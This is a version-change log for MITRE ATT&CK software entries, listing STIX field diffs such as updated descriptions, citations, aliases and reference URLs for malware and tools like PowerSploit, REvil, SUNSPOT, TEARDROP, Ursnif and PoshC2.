| description | [PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation) | [PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-12 17:37:53.480000+00:00 | 2021-01-22 16:19:40.969000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 15:52:54.596000+00:00 | 2021-04-06 14:42:52.993000+00:00 |
| external_references[2]['description'] | (Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019) | (Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020) |
| external_references[4]['url'] | https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ | https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Tetra Defense Sodinokibi March 2020', 'description': 'Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020.', 'url': 'https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis'} |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:07:02.274000+00:00 | 2020-11-23 18:54:49.190000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-30 00:39:39.738000+00:00 | 2021-04-13 23:52:18.803000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Raindrop](https://attack.mitre.org/software/S0565) is a loa | t | 1 | [Raindrop](https://attack.mitre.org/software/S0565) is a loa |
| > | der used by [UNC2452](https://attack.mitre.org/groups/G0118) | > | der used by [APT29](https://attack.mitre.org/groups/G0016) t | ||
| > | that was discovered on some victim machines during investig | > | hat was discovered on some victim machines during investigat | ||
| > | ations related to the 2020 SolarWinds cyber intrusion. It wa | > | ions related to the 2020 SolarWinds cyber intrusion. It was | ||
| > | s discovered in January 2021 and was likely used since at le | > | discovered in January 2021 and was likely used since at leas | ||
| > | ast May 2020.(Citation: Symantec RAINDROP January 2021)(Cita | > | t May 2020.(Citation: Symantec RAINDROP January 2021)(Citati | ||
| > | tion: Microsoft Deep Dive Solorigate January 2021) | > | on: Microsoft Deep Dive Solorigate January 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-25 19:35:13.827000+00:00 | 2021-04-26 12:16:26.590000+00:00 |
| description | [Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [UNC2452](https://attack.mitre.org/groups/G0118) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021) | [Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ramsay](https://attack.mitre.org/software/S0458) is an info | t | 1 | [Ramsay](https://attack.mitre.org/software/S0458) is an info |
| > | rmation stealing malware framework designed to collect and e | > | rmation stealing malware framework designed to collect and e | ||
| > | xfiltrate sensitive documents, potentially from air-gapped s | > | xfiltrate sensitive documents, including from air-gapped sys | ||
| > | ystems. Researchers have identified overlaps between [Ramsay | > | tems. Researchers have identified overlaps between [Ramsay]( | ||
| > | ](https://attack.mitre.org/software/S0458) and the [Darkhote | > | https://attack.mitre.org/software/S0458) and the [Darkhotel] | ||
| > | l](https://attack.mitre.org/groups/G0012)-associated Retro m | > | (https://attack.mitre.org/groups/G0012)-associated Retro mal | ||
| > | alware.(Citation: Eset Ramsay May 2020) | > | ware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT R | ||
| > | amsay April 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Harry Kim, CODEMIZE'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-16 23:17:20.639000+00:00 | 2021-04-14 22:10:12.150000+00:00 |
| description | [Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, potentially from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020) | [Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Antiy CERT Ramsay April 2020', 'description': "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021.", 'url': 'https://www.programmersought.com/article/62493896999/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['The DFIR Report, @TheDFIRReport', 'Matt Brenton, Zurich Insurance Group'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-18 21:37:40.600000+00:00 | 2021-04-14 21:34:42.810000+00:00 |
| external_references[1]['source_name'] | CrowdStrike Ryuk January 2019 | Ryuk |
| external_references[1]['description'] | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. | (Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) |
| external_references[2]['source_name'] | FireEye Ryuk and Trickbot January 2019 | CrowdStrike Ryuk January 2019 |
| external_references[2]['description'] | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| external_references[3]['source_name'] | FireEye FIN6 Apr 2019 | FireEye Ryuk and Trickbot January 2019 |
| external_references[3]['description'] | McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019. | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye FIN6 Apr 2019', 'description': 'McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html'} | |
| external_references | {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sunspot](https://attack.mitre.org/software/S0562) is an imp | t | 1 | [SUNSPOT](https://attack.mitre.org/software/S0562) is an imp |
| > | lant that injected the [Sunburst](https://attack.mitre.org/s | > | lant that injected the [SUNBURST](https://attack.mitre.org/s | ||
| > | oftware/S0559) backdoor into the SolarWinds Orion software u | > | oftware/S0559) backdoor into the SolarWinds Orion software u | ||
| > | pdate framework. It was used by [UNC2452](https://attack.mit | > | pdate framework. It was used by [APT29](https://attack.mitre | ||
| > | re.org/groups/G0118) since at least February 2020.(Citation: | > | .org/groups/G0016) since at least February 2020.(Citation: C | ||
| > | CrowdStrike SUNSPOT Implant January 2021) | > | rowdStrike SUNSPOT Implant January 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-22 22:35:20.054000+00:00 | 2021-04-26 12:11:19.301000+00:00 |
| name | Sunspot | SUNSPOT |
| description | [Sunspot](https://attack.mitre.org/software/S0562) is an implant that injected the [Sunburst](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [UNC2452](https://attack.mitre.org/groups/G0118) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021) | [SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021) |
| external_references[1]['source_name'] | Sunspot | SUNSPOT |
| x_mitre_aliases[0] | Sunspot | SUNSPOT |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Teardrop](https://attack.mitre.org/software/S0560) is a mem | t | 1 | [TEARDROP](https://attack.mitre.org/software/S0560) is a mem |
| > | ory-only dropper that was discovered on some victim machines | > | ory-only dropper that was discovered on some victim machines | ||
| > | during investigations related to the 2020 SolarWinds cyber | > | during investigations related to the 2020 SolarWinds cyber | ||
| > | intrusion. It was likely used by [UNC2452](https://attack.mi | > | intrusion. It was likely used by [APT29](https://attack.mitr | ||
| > | tre.org/groups/G0118) since at least May 2020.(Citation: Fir | > | e.org/groups/G0016) since at least May 2020.(Citation: FireE | ||
| > | eEye SUNBURST Backdoor December 2020)(Citation: Microsoft De | > | ye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep | ||
| > | ep Dive Solorigate January 2021) | > | Dive Solorigate January 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-25 20:20:16.776000+00:00 | 2021-04-26 12:13:17.872000+00:00 |
| name | Teardrop | TEARDROP |
| description | [Teardrop](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [UNC2452](https://attack.mitre.org/groups/G0118) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021) | [TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021) |
| x_mitre_aliases[0] | Teardrop | TEARDROP |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:06:16.817000+00:00 | 2021-04-10 13:35:22.920000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ursnif](https://attack.mitre.org/software/S0386) is a banki | t | 1 | [Ursnif](https://attack.mitre.org/software/S0386) is a banki |
| > | ng trojan and variant of the Gozi malware observed being spr | > | ng trojan and variant of the Gozi malware observed being spr | ||
| > | ead through various automated exploit kits, [Spearphishing A | > | ead through various automated exploit kits, [Spearphishing A | ||
| > | ttachment](https://attack.mitre.org/techniques/T1193)s, and | > | ttachment](https://attack.mitre.org/techniques/T1566/001)s, | ||
| > | malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation | > | and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Cita | ||
| > | : ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre. | > | tion: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mi | ||
| > | org/software/S0386) is associated primarily with data theft, | > | tre.org/software/S0386) is associated primarily with data th | ||
| > | but variants also include components (backdoors, spyware, f | > | eft, but variants also include components (backdoors, spywar | ||
| > | ile injectors, etc.) capable of a wide variety of behaviors. | > | e, file injectors, etc.) capable of a wide variety of behavi | ||
| > | (Citation: TrendMicro Ursnif Mar 2015) | > | ors.(Citation: TrendMicro Ursnif Mar 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 13:57:16.815000+00:00 | 2021-04-23 20:38:14.681000+00:00 |
| description | [Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015) | [Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 20:59:05.953000+00:00 | 2020-11-23 19:00:25.745000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 00:51:36.275000+00:00 | 2021-04-23 20:43:13.190000+00:00 |
| external_references[4]['url'] | https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/ | https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/ |
| x_mitre_version | 2.2 | 2.3 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:22:05.356000+00:00 | 2021-02-09 14:06:12.720000+00:00 |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bo | t | 1 | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bo |
| > | otkit](https://attack.mitre.org/techniques/T1067) that targe | > | otkit](https://attack.mitre.org/techniques/T1542/003) that t | ||
| > | ts Windows operating systems. It has been used by threat act | > | argets Windows operating systems. It has been used by threat | ||
| > | ors that target the financial sector.(Citation: Mandiant M T | > | actors that target the financial sector.(Citation: Mandiant | ||
| > | rends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BO | > | M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEy | ||
| > | OTRASH SANS) | > | e BOOTRASH SANS) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-29 01:35:30.160000+00:00 | 2021-02-09 15:15:35.182000+00:00 |
| description | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS) | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS) |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-02-09 14:56:14.671000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:46:57.986000+00:00 | 2021-04-01 16:03:31.574000+00:00 |
| external_references[5]['url'] | https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/ | https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/ |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-17 23:40:44.651000+00:00 | 2021-02-09 14:51:14.620000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-14 15:14:33.332000+00:00 | 2021-04-27 19:53:40.705000+00:00 |
Current version: 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 15:23:35.947000+00:00 | 2020-11-24 20:15:54.954000+00:00 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Get2](https://attack.mitre.org/software/S0460) is a downloa | t | 1 | [Get2](https://attack.mitre.org/software/S0460) is a downloa |
| > | der written in C++ that has been used by [TA505](https://att | > | der written in C++ that has been used by [TA505](https://att | ||
| > | ack.mitre.org/groups/G0092) to deliver [FlawedGrace](https:/ | > | ack.mitre.org/groups/G0092) to deliver [FlawedGrace](https:/ | ||
| > | /attack.mitre.org/software/S0383), [FlawedAmmyy](https://att | > | /attack.mitre.org/software/S0383), [FlawedAmmyy](https://att | ||
| > | ack.mitre.org/software/S0381), Snatch and [SDBot](https://at | > | ack.mitre.org/software/S0381), Snatch and [SDBbot](https://a | ||
| > | tack.mitre.org/software/S0461).(Citation: Proofpoint TA505 O | > | ttack.mitre.org/software/S0461).(Citation: Proofpoint TA505 | ||
| > | ctober 2019) | > | October 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| description | [Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019) | [Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019) |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:45:38.272000+00:00 | 2021-02-09 13:58:23.806000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:56:22.295000+00:00 | 2021-02-09 14:57:16.085000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:50:01.217000+00:00 | 2021-01-06 19:32:28.374000+00:00 |
| external_references[5]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 20:55:47.638000+00:00 | 2021-02-09 14:04:15.433000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:57:00.081000+00:00 | 2021-01-06 19:32:28.394000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:57:31.004000+00:00 | 2020-12-22 15:46:17.965000+00:00 |
| external_references[1]['source_name'] | Linux Rabbit | anomali-linux-rabbit |
| external_references[1]['description'] | (Citation: Anomali Linux Rabbit 2018) | Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020. |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-01-06 19:32:28.371000+00:00 |
| external_references[3]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-01-06 19:32:28.182000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:11:08.175000+00:00 | 2021-04-21 16:41:34.225000+00:00 |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:13:56.470000+00:00 | 2021-02-09 15:04:49.088000+00:00 |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 22:31:02.691000+00:00 | 2021-02-09 14:07:10.907000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:20:41.436000+00:00 | 2021-01-06 19:32:28.265000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PoshC2](https://attack.mitre.org/software/S0378) is an open | t | 1 | [PoshC2](https://attack.mitre.org/software/S0378) is an open |
| > | source remote administration and post-exploitation framewor | > | source remote administration and post-exploitation framewor | ||
| > | k that is publicly available on GitHub. The server-side comp | > | k that is publicly available on GitHub. The server-side comp | ||
| > | onents of the tool are primarily written in Python, while th | > | onents of the tool are primarily written in Python, while th | ||
| > | e implants are written in [PowerShell](https://attack.mitre. | > | e implants are written in [PowerShell](https://attack.mitre. | ||
| > | org/techniques/T1086). Although [PoshC2](https://attack.mitr | > | org/techniques/T1059/001). Although [PoshC2](https://attack. | ||
| > | e.org/software/S0378) is primarily focused on Windows implan | > | mitre.org/software/S0378) is primarily focused on Windows im | ||
| > | tation, it does contain a basic Python dropper for Linux/mac | > | plantation, it does contain a basic Python dropper for Linux | ||
| > | OS.(Citation: GitHub PoshC2) | > | /macOS.(Citation: GitHub PoshC2) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:37:23.626000+00:00 | 2021-02-09 13:59:23.129000+00:00 |
| description | [PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2) | [PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PowerStallion](https://attack.mitre.org/software/S0393) is | t | 1 | [PowerStallion](https://attack.mitre.org/software/S0393) is |
| > | a lightweight [PowerShell](https://attack.mitre.org/techniqu | > | a lightweight [PowerShell](https://attack.mitre.org/techniqu | ||
| > | es/T1086) backdoor used by [Turla](https://attack.mitre.org/ | > | es/T1059/001) backdoor used by [Turla](https://attack.mitre. | ||
| > | groups/G0010), possibly as a recovery access tool to install | > | org/groups/G0010), possibly as a recovery access tool to ins | ||
| > | other backdoors.(Citation: ESET Turla PowerShell May 2019) | > | tall other backdoors.(Citation: ESET Turla PowerShell May 20 | ||
| > | 19) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:22:45.321000+00:00 | 2021-02-09 14:05:19.246000+00:00 |
| description | [PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019) | [PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bo | t | 1 | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bo |
| > | otkit](https://attack.mitre.org/techniques/T1067) that has b | > | otkit](https://attack.mitre.org/techniques/T1542/003) that h | ||
| > | een used by an unidentified, suspected China-based group. (C | > | as been used by an unidentified, suspected China-based group | ||
| > | itation: FireEye Bootkits) | > | . (Citation: FireEye Bootkits) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:39:16.351000+00:00 | 2021-02-09 15:16:26.188000+00:00 |
